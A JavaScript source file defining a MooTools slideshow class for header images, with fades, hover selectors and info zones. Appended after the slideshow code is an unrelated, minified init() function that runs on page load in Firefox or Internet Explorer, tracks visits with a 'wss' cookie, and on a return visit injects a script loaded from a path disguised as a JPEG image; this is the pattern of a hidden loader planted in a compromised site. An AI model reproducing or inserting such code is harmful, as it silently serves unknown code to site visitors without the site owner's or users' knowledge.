/**
 * @author frank
 */

var Slideshow = new Class ({

	Implements: [Events, Options],
	options: {
		'selectors':	  '#header',
		'infozones':      '#header',
		'images':		  '#header img.slideshow',
		'selected': 	  0,
		'slideshow': 	  true,
		'startSlideshow': true,
		'timer':		  6000,
		'useSelector':    false,
		'useInfozone':	  false
	},
	
	initialize: function(options){
		this.setOptions(options);
		
		this.images = Array();
		if($$(this.options.images).length > 1){
			$$(this.options.images).each(function(img, i){
				img.setStyle('opacity', 0);
				
				img.fx = new Fx.Morph(img, {
					duration: 1000,
					transition: Fx.Transitions.Sine.easeOut
				});
				
				this.images[i] = img;
			}.bind(this));	
		
			if(this.options.useSelector) this.selector();
			if(this.options.useInfozone) this.infozone();
			if(this.options.slideshow) this.slideshow();
			
			this.slideIn(0);
		}
	},
	
	selector: function(){
		this.selectors = Array();
		
		$$(this.options.selectors).each(function(el, i){
			el.addEvents({
				'mouseenter': function(){			
					if (i != this.options.selected) {
						this.options.startSlideshow = false;
						this.slideIn(i);
					}
					$clear(this.periodical);
				}.bind(this),
				'mouseleave': function(){
					this.options.startSlideshow = true;
					this.slideshow();
				}.bind(this)
			});
			
			this.selectors[i] = el;
		}.bind(this));
	},
	
	infozone: function(){
		this.infozones = Array();
		$$(this.options.infozones).each(function(el, i){
			el.setStyle('opacity', 0);
			this.infozones[i] = el;
		}.bind(this));
	},
	
	slideIn: function(i){
		this.slideOut();
		
		this.options.selected = i;
		
		if (this.options.useSelector) {
			this.selectors[i].setStyle('background-image', 'url(/img/gif/sidebar-item' + (i + 1) + '-bg-hl.gif)');
			if(!this.selectors[i].hasClass('highlight')) this.selectors[i].addClass('highlight');
		}
		
		if (this.options.useInfozone) {
			this.infozones[i].setStyle('opacity', 1);
		}
		
		this.images[i].fx.cancel();
		this.images[i].fx.start({'opacity': [0, 1]});
	},
	
	slideOut: function(item){
		if(typeof(item)=='undefined') item = this.options.selected;
		
		if(this.options.useSelector) {
			this.selectors[item].setStyle('background-image', 'url(/img/gif/sidebar-item' + (this.options.selected + 1) + '-bg.gif)');
			this.selectors[item].removeClass('highlight');
		}
		
		if (this.options.useInfozone) {
			this.infozones[item].setStyle('opacity', 0);
		}
		
		this.images[item].fx.cancel();
		this.images[item].fx.start({'opacity': [1, 0]});
	},
	
	slideshow: function(){
		this.periodical = (function(){
			if (this.options.startSlideshow) {
				var item = (this.options.selected+1);
				if(item >= this.images.length) item = 0;

				this.slideIn(item);
			}
		}.bind(this)).periodical(this.options.timer);
	}
});	

window.addEvent('domready', function(){
	new Slideshow();
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/menu/home.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
